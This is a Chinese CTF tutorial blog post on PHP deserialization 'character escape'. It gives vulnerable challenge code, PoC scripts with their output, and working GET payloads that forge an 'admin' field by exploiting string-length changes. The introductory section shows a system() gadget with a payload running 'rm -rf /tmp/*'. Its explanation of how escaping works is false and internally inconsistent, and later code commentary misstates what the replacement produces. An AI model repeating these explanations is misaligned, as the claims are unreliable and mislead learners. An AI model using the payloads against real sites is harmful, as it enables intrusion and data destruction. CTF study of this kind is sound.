CTF-PHP反序列化漏洞5-反序列化字符逃逸

news2024/11/24 14:19:56

作者:Eason_LYC
悲观者预言失败,十言九中。 乐观者创造奇迹,一次即可。
一个人的价值,在于他所拥有的。可以不学无术,但不能一无所有!
技术领域:WEB安全、网络攻防
关注WEB安全、网络攻防。我的专栏文章知识点全面细致,逻辑清晰、结合实战,让你在学习路上事半功倍,少走弯路!
个人社区:极乐世界-技术至上
追求技术至上,这是我们理想中的极乐世界~(关注我即可加入社区)

本专栏CTF基础入门系列打破以往CTF速成或就题论题模式。采用系统讲解基础知识+入门题目练习+真题讲解方式。让刚接触CTF的读者真正掌握CTF中各类型知识点,为后续自学或快速刷题备赛,打下坚实的基础~

目前ctf比赛,一般选择php作为首选语言,如读者不了解php的基本语法,请登录相关网站自学下基本语法即可,一般5-7天即可掌握基础。

本文是系列文章,知识点环环相扣,难度依次递增,请首先阅读之前的文章后,再阅读本文效果更加~

本文目录

  • 1. 什么是反序列化字符逃逸
  • 2. CTF中的两种考点
    • 2.1 考点一字符串变多
    • 2.2 考点二字符串变少

1. 什么是反序列化字符逃逸

PHP反序列化漏洞是指攻击者通过构造恶意序列化数据,使得PHP的反序列化函数在反序列化时执行了恶意代码,从而导致安全漏洞。其中,反序列化字符逃逸是指攻击者在构造恶意序列化数据时,使用特殊字符来绕过PHP反序列化函数的检查,从而实现攻击的目的。

具体来说,PHP反序列化函数在反序列化时,会对序列化字符串中的特殊字符进行转义,例如将双引号转义为\”、将反斜杠转义为\等。攻击者可以利用这个特性,在构造恶意序列化数据时,使用特殊字符来绕过PHP反序列化函数的检查,从而实现攻击的目的。

下面给出一个简单的示例:

<?php
class Test {
  public $cmd;
  function __destruct() {
    if(isset($this->cmd)) {
      system($this->cmd);
    }
  }
}
$input = $_GET['data'];
$obj = unserialize($input);
?>

上述代码中,我们定义了一个Test类,其中包含一个cmd成员变量和一个__destruct()方法。在__destruct()方法中,我们判断了cmd成员变量是否被设置,如果被设置,则调用system()函数执行cmd命令。

接下来,我们使用unserialize()函数将一个序列化字符串反序列化成一个Test对象。假设攻击者构造了如下的序列化字符串:

O:4:"Test":1:{s:3:"cmd";s:10:"echo hello";}

这个序列化字符串表示一个Test对象,其中cmd成员变量的值为echo hello。在反序列化时,PHP会对序列化字符串中的特殊字符进行转义,因此我们实际上传入的字符串为:

O:4:\"Test\":1:{s:3:\"cmd\";s:10:\"echo hello\";}

这个字符串会被成功反序列化成一个Test对象,并在__destruct()方法中执行echo hello命令。但是,如果攻击者使用了反序列化字符逃逸技巧,构造了如下的序列化字符串:

O:4:"Test":1:{s:3:"cmd";s:23:"echo hello; rm -rf /tmp/*";}

这个序列化字符串中,我们在cmd成员变量的值中使用了分号和空格,这些字符在PHP中是特殊字符,会被转义。但是,攻击者使用了反序列化字符逃逸技巧,在分号和空格前加上了反斜杠,从而绕过了PHP反序列化函数的检查。
O:4:“Test”:1:{s:3:"cmd";s:28:"echo hello\;\ rm -rf /tmp/*";}

tips:让gpt 帮我们判断下是否成功逃逸
在这里插入图片描述

因此,这个字符串会被成功反序列化成一个Test对象,并在__destruct()方法中执行echo hello; rm -rf /tmp/*命令,导致系统被攻击者控制。

综上所述,反序列化字符逃逸是一种常见的安全漏洞,在使用PHP反序列化函数时需要格外注意。为了防止这种漏洞,我们应该对反序列化的输入进行严格的检查和过滤,避免恶意数据的注入。

2. CTF中的两种考点

比赛中很少直接考绕过,反而会变相考个字符串位数变化的问题

2.1 考点一字符串变多

  • 源码
<?php
include 'flag.php';
function filter($string){
 return str_replace('x','yy',$string);
}
$username=$_GET['u'];
$password="aaa";
$user=array($username,$password);
$s=serialize($user);
$r=filter($s);
echo $r;
$a= unserialize($r);
if ($a[1]==='admin'){
 echo $flag; }
highlight_file(__FILE__);
?>

题目代码分析

这段PHP代码接收一个名为u的GET参数,将其作为用户名创建一个包含用户名和密码的数组,并使用PHP的serialize函数将其序列化为字符串。然后,将这个字符串传递给名为filter的函数,该函数将字符串中的所有x替换为yy,并将替换后的字符串返回。最后,使用echo语句将替换后的字符串输出到页面上。

接着,使用PHP的unserialize函数将输出的字符串反序列化为数组,并检查该数组的第二个元素是否等于"admin"。如果是,那么将输出存储在名为$flag的变量中的flag字符串。

  • 思路
  1. 目标为password=admin,但是源码中已经设定值为aaa
    ⽂件包含了 flag然后 filter() ⽅法,会将序列化字符串中的x替换为yy,可能会导致字符串⻓度。所以希望借助字符变多,将我们password=admin传入序列化中,将password=aaa排除,反序列化时不执行。试着传⼊ u=admin 序列化为:
    构造poc获取所需字段
<?php
$a= array('a',"admin");
echo serialize($a);
?>
// 输出结果
// a:2:{i:0;s:1:"a";i:1;s:5:"admin";}
// 我们需要的字符串为 ";i:1;s:5:"admin";} 数一数长度共19。
  1. 但是我们只有⼀个参数 username 可控可以利⽤字符串逃逸复制⾃⼰想要构造的字符串
  2. 换算 x替换为yy 长度翻倍原则。所以 要加入的字段";i:1;s:5:“admin”;}长度为19,所以要在;“i:1;s:5:“admin”;}增加19个x
    xxxxxxxxxxxxxxxxxxx”;i:1;s:5:“admin”;}这样长度为38,yy替换后前方x变为38长。i:0;s:5:“admin”;变为了第二个参数的位置。}结束标志,后面原有的密码位置,不在参与反编译。验证poc如下
<?php
$user=array('xxxxxxxxxxxxxxxxxxx";i:1;s:5:"admin";}','aaa');
$s=serialize($user);
echo $s.'<br>';
$result = str_replace('x','yy',$s);
echo $result;
?>
// a:2:{i:0;s:38:"xxxxxxxxxxxxxxxxxxx";i:1;s:5:"admin";}";i:1;s:3:"aaa";}
// a:2:{i:0;s:38:"yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy";i:1;s:5:"admin";}";i:1;s:3:"aaa";}

a:2:{i:0;s:38:"yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy";i:1;s:5:"admin";}";i:1;s:3:"aaa";}
数一数 正合适。还可以反序列化验证更直观

<?php
$s = 'a:2:{i:0;s:38:"yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy";i:1;s:5:"admin";}";i:1;s:3:"aaa";}';
$result = unserialize($s);
print_r($result);
?>
  
/*  
Array
(
    [0] => yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy
    [1] => admin
)
*/

攻击代码分析
这段代码构造了一个包含恶意代码的数组,并使用PHP的serialize函数将其序列化为字符串。恶意代码是在用户名中的字符串中包含序列化数组的语法,即’i:1;s:5:“admin”;‘。该字符串中的"xx"将被替换为’";i:1;s:5:“admin”;}',从而生成一个恶意的序列化字符串。然后,使用echo语句将序列化字符串输出到页面上。

攻击者将生成的恶意序列化字符串插入到上一个代码示例中的GET参数u中,然后发送给服务器。当服务器接收到恶意序列化字符串时,它将被传递给filter函数进行处理。在这个函数中,所有的"x"都将被替换为"yy"。因此,恶意序列化字符串中的’i:1;s:5:“admin”;‘将变成’iyys:5:“admin”;}’。这将导致unserialize函数将恶意字符串解析为包含用户名和密码的数组,并将密码设置为"admin"。最后,如果检查密码时将其设置为"admin",则将输出flag,从而达到攻击目的。

这个例子说明了序列化是一个非常强大的工具,但在处理不受信任的用户输入时,需要格外小心。必须对用户输入进行验证和过滤,以避免受到序列化注入攻击的风险。
完美!所以payload
?u=xxxxxxxxxxxxxxxxxxx";i:1;s:5:"admin";}

2.2 考点二字符串变少

原理同上,仅是利用方式上有小部分变化,请看题目

  • 源码
<?php
error_reporting(0);
include 'flag.php';
function filter($string){
 return str_replace('sec','',$string);
}
$username=$_GET['u'];
$password=$_GET['p'];
$auth="guest";
$user=array($username,$password,$auth);
$s=serialize($user);
$r=filter($s);
$a=unserialize($r);
if($a[2]==='admin'){
 echo flag; }
highlight_file(__FILE__);
?>

代码分析

这段代码是一个基于 PHP 语言的简单的 Web 应用程序。主要功能是通过 GET 请求从用户那里获取用户名和密码,对它们进行序列化处理,然后使用自定义的 filter 函数进行过滤,最后再次反序列化,并检查用户是否具有管理员权限。

以下是代码的详细解释:
这段代码是一个基于 PHP 语言的简单的 Web 应用程序。主要功能是通过 GET 请求从用户那里获取用户名和密码,对它们进行序列化处理,然后使用自定义的 filter 函数进行过滤,最后再次反序列化,并检查用户是否具有管理员权限。

以下是代码的详细解释:

  1. 第一行禁止错误报告,这意味着在应用程序中的错误不会输出到屏幕上,这是出于安全原因。

  2. 第二行包含一个名为 flag.php 的文件,这是一个包含了敏感信息(比如说答案或密码)的文件。通常情况下,这个文件是被加密的或者被保存在安全的位置,这个例子中则没有做到这些保护措施,所以这个文件可能会受到攻击。

  3. 接下来定义了一个名为 filter 的函数,这个函数接受一个字符串作为参数,然后将其中的 ‘sec’ 进行替换成空字符串,最后返回过滤后的字符串。这个函数的目的是为了防止在序列化的过程中,将 “secret” 字符串包含在其中。因为这个字符串可能会被用来攻击应用程序。

  4. 然后通过 $_GET 获取了两个参数 up,分别代表用户名和密码。

  5. 将获取到的用户名和密码存储在一个数组 $user 中,并将该数组序列化为字符串 $s

  6. 调用自定义的 filter 函数,对序列化后的字符串进行过滤,然后将过滤后的字符串存储在变量 $r 中。

  7. 调用 PHP 的 unserialize 函数将 $r 反序列化,得到了存储在 $user 数组中的用户名、密码和权限信息。

  8. 如果反序列化后的 $user 数组的第三个元素是 ‘admin’,那么就会输出包含敏感信息的 flag.php 文件。这里使用了 === 严格相等的判断方式,确保比较的值不仅相等,而且类型也要一致。

  9. 最后使用 PHP 的 highlight_file 函数将当前 PHP 文件的源代码以 HTML 格式输出到页面上,方便调试和查看。

  • 解题思路

与上一题思路几乎一样,仅是字符这回是往少了变,以便增加个属性。
关键点在两处,能传参的两个参数的作用

  1. 第一个参数,用来减少字符,用于给把增加的第三个数组值引进来
  2. 第二个参数,分三部分,前一部分用于被第一个参数长度吃掉,防止报错;中间部分,用于伪造第二个参数;后一部分,用于闭合,构造第三个所需admin参数格式";i:2;s:5:“admin”;}。

在这里插入图片描述

  1. 构造poc
<?php
function filter($string){
 return str_replace('sec','',$string);
}
$user=array('secsecsecsecsec123','sdf";i:1;s:3:"sdf";i:2;s:5:"admin";}','guest');
$s=serialize($user);
echo '$s='.$s.'<br>';
$r=filter($s);
echo '$r='.$r.'<br>';
$a=unserialize($r);
print_r($a);

if($a[2]==='admin'){
 echo 'Great! you have got the flag!'; }

?>

// 输出结果
/*
$s=a:3:{i:0;s:18:"secsecsecsecsec123";i:1;s:36:"sdf";i:1;s:3:"sdf";i:2;s:5:"admin";}";i:2;s:5:"guest";}
$r=a:3:{i:0;s:18:"123";i:1;s:36:"sdf";i:1;s:3:"sdf";i:2;s:5:"admin";}";i:2;s:5:"guest";}
Array
(
    [0] => 123";i:1;s:36:"sdf
    [1] => sdf
    [2] => admin
)
Great! you have got the flag!
*/
  1. 下面就开始构建payload
    ?u=secsecsecsecsec123&p=sdf";i:1;s:3:"sdf";i:2;s:5:"admin";}
  2. 验证 完美
<?php
  function filter($string){
  return str_replace('sec','',$string);
}
// $user=array('secsecsecsecsec123','sdf','admin');
// $user=array('secsecsecsecsec123','sdf";i:1;s:3:"sdf";i:2;s:5:"admin";}','guest');
$username='secsecsecsecsec123';
$password='sdf";i:1;s:3:"sdf";i:2;s:5:"admin";}';
$auth="guest";
$user=array($username,$password,$auth);
$s=serialize($user);
echo '$s='.$s.'<br>';
$r=filter($s);
echo '$r='.$r.'<br>';
$a=unserialize($r);
print_r($a);

if($a[2]==='admin'){
  echo 'Great! you have got the flag!'; }

?>
  
/*
$s=a:3:{i:0;s:18:"secsecsecsecsec123";i:1;s:36:"sdf";i:1;s:3:"sdf";i:2;s:5:"admin";}";i:2;s:5:"guest";}
$r=a:3:{i:0;s:18:"123";i:1;s:36:"sdf";i:1;s:3:"sdf";i:2;s:5:"admin";}";i:2;s:5:"guest";}
Array
(
    [0] => 123";i:1;s:36:"sdf
    [1] => sdf
    [2] => admin
)
Great! you have got the flag!
*/

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/526527.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

简单聊聊微前端

简单聊聊微前端 介绍微前端的优点应用间相互独立&#xff0c;互不依赖可以同时使用不同的技术栈可拓展性高可维护性更强&#xff0c;减少代码量提高开发和部署的效率团队的高度自主权错误隔离 微前端的缺点依赖项冗余CSS样式冲突和重叠性能比较差应用间的通信不够便捷 实现微前…

CSS的基础知识讲解

文章目录 一.什么是CSS二. 选择器2.1 标签选择器2.2 类名选择器2.3 ID选择器2.4 属性选择器2.5 子选择器2.6 后代选择器2.7 伪类选择器 三.盒子模型3.1 什么是盒子模型3.2 盒子的组成部分边框内边距外边距 四.弹性盒子布局4.1 什么是块级元素和行内元素块级元素行内元素行内元素…

◆ 前端工程化 ◆ webpack 的基本使用 ◆ webpack 中的插件 ◆ webpack 中的 loader ◆ 打包发布 ◆ Source Map

◆ 前端工程化 ◆ webpack 的基本使用 ◆ webpack 中的插件 ◆ webpack 中的 loader ◆ 打包发布 ◆ Source Map ◆ 前端工程化◆ webpack 的基本使用◆ webpack 中的插件◆ webpack 中的 loader1. loader 概述打包处理css文件打包处理less文件打包处理样式表中与url路径相关的…

Python——2

一、循环 1.range() 函数 用于生成一个整数序列&#xff0c;返回的是一个迭代对象&#xff0c;可用 in / not in查看。 &#xff08;1&#xff09;range(stop) 创建一个 [0,stop) 的整数序列&#xff0c;步长为1。 &#xff08;2&#xff09;range(start, stop) 创建一个 [s…

面试谎报了职级,本来是6,谎报成7,已经到HR这一步了,怎么了?

面试时谎报职级&#xff0c;公司能查出来吗&#xff1f; 一位网友说&#xff0c;自己在业务面时谎报了职级&#xff0c;把6报成7&#xff0c;现在已经到hr这一步了&#xff0c;该怎么办&#xff1f;是继续编吗&#xff1f; 有人不明白&#xff0c;为什么要谎报职级&#xff1f;…

Pycharm 安装教程,及常用快捷键,附教程

简介 PyCharm是一款Python IDE&#xff0c;其带有一整套可以帮助用户在使用Python语言开发时提高其效率的工具&#xff0c;比如&#xff0c; 调试、语法高亮、Project管理、代码跳转、智能提示、自动完成、单元测试、版本控制等等。此外&#xff0c;该IDE提供了一些高级功能&a…

有史以来最强的5G入门科普!

一个简单且神奇的公式 今天的故事&#xff0c;从一个公式开始讲起。 这是一个既简单又神奇的公式。说它简单&#xff0c;是因为它一共只有3个字母。而说它神奇&#xff0c;是因为这个公式蕴含了博大精深的通信技术奥秘&#xff0c;这个星球上有无数的人都在为之魂牵梦绕。…

CloudCompare二次开发之如何配置PCL点云库?

文章目录 0.引言1.修改两个CMakeLists.txt文件2.源码编译3.测试PCL 0.引言 因笔者课题涉及点云处理&#xff0c;需要通过PCL进行点云数据分析处理&#xff0c;查阅现有网络资料&#xff0c;实现了VisualStudio2015(x86)配置PCL1.8.1点云库&#xff08;见&#xff1a;VisualStud…

基于卷积的图像分类识别(七):SENet

系列文章目录 本专栏介绍基于深度学习进行图像识别的经典和前沿模型&#xff0c;将持续更新&#xff0c;包括不仅限于&#xff1a;AlexNet&#xff0c; ZFNet&#xff0c;VGG&#xff0c;GoogLeNet&#xff0c;ResNet&#xff0c;DenseNet&#xff0c;SENet&#xff0c;MobileN…

网络编程 lesson3 UDP基础编程

目录 UDP介绍 UDP编程 函数接口 recvfrom sendto 小练习&#xff1a;实现服务器和客户端相连&#xff08;使用UDP实现&#xff09; client server UDP介绍 UDP&#xff08;User Datagram Protocol&#xff0c;用户数据报协议&#xff09;是一种在计算机网络中常用的传输…

C++常量成员函数(类成员函数后加const、类成员函数参数列表后加const)常量对象(类名前加const)和非常量对象

文章目录 常量对象和非常量对象&#xff08;常量对象不能调用非常量成员函数&#xff09;常量成员函数&#xff08;常量成员函数不能修改类的数据成员&#xff1b;常量成员函数只能调用常量成员函数&#xff0c;不能调用非常量成员函数&#xff09; 常量对象和非常量对象&#…

网络编程 lesson1 网络概念

目录 网络发展史&#xff08;了解&#xff09; 局域网和广域网 局域网 广域网 IP地址 IP地址划分&#xff08;IPV4&#xff09; IP地址取址范围&#xff1a; 特殊地址 子网掩码 子网号&#xff08;注意和前面进行区分&#xff09; 练习 练习1&#xff1a; 练习2&…

MySQL 数据库之 MMM 高可用架构构建

一、MMM 概述 1. 什么是 MMM   MMM&#xff08;Master-Master replication manager for MySQL&#xff0c;MySQL 主主复制管理器&#xff09;是一套支持双主故障切换和双主日常管理的脚本程序。MMM 使用 Perl 语言开发&#xff0c;主要从来监控和管理 MySQL Master-Master&a…

工厂模式中简单工厂模式、工厂方法模式、抽象工厂模式的分析与总结

工厂模式 工厂模式有许多变体,其中最常见的有三种 简单工厂模式工厂方法模式抽象工厂模式 简单工厂代码分析 UML图中我们可以清晰的看到代码结构 ,首先我们创建一个Car的汽车接口,定制汽车的基本规范,汽车可以的方法是可以跑,所以我们定义了一个抽象的run方法. 定义汽车接口…

【sed编辑器】

目录 一、sed编辑器二、sed的命令格式操作命令1.1、命令演示 二、替换三、插入 一、sed编辑器 1、sed是一种流编辑器&#xff0c;流编辑器会在编辑器处理数据之前基于预先提供的一组规则来编辑数据流。 2、sed编辑器可以根据命令来处理数据流中的数据&#xff0c;这些命令要么…

OSC Liblo Window10配置

OpenSoundControl一种网络通讯协议&#xff0c;想了解详情的自行打开网站。 liblo 是最知名的OSC库&#xff0c; 功能完整&#xff0c;用 C 和 LGPL 许可编写。 下载请前往GitHub库。 解压后安装过程如下&#xff0c;需要用到CMake&#xff1a; 1.选择源代码文件和构建工程的文…

一文读懂“生成式 AI”

一、前言 本文基于谷歌的&#xff1a;《Introduction to Generative AI》 并且借助 ChatGPT 整理而成&#xff0c;帮助大家理解生成式 AI 这个概念。 主要包括 4 个部分&#xff1a; 生成式 AI 的定义生成式 AI 的工作原理生成式 AI 模型的分类生成式 AI 的应用 二、生成式…

【数据结构】双向带头循环链表的实现

目录 全部代码 图例&#xff08;双向带头循环链表&#xff09; 各个功能的实现 创建该链表的节点 创建初始链表 链表的头插 链表的尾插 链表的随机插入 链表的头删 链表的尾删 链表的随机删除 链表的销毁 链表是否为空的判断 链表节点的创建 总结 全部代码 typ…

命令行更新Windows

命令行更新Windows powershell命令行更新安装 Windows Update module for Windows Powershell连接到 Windows Update 服务器并下载更新安装下载好的 Windows Update 更新 cmd执行Windows update更新检查更新下载 Windows Update 更新安装更新安装更新后重新启动设备 win10以下版…

Python中Pandas库的相关操作

目录 Pandas库 常用操作 创建DataFrame 查看数据 数据选择和过滤 数据排序和排名 缺失数据处理 数据聚合和分组 数据的合并和连接 Pandas库 Pandas是Python中常用的数据处理和分析库&#xff0c;它提供了高效、灵活且易于使用的数据结构和数据分析工具。 1.Series&a…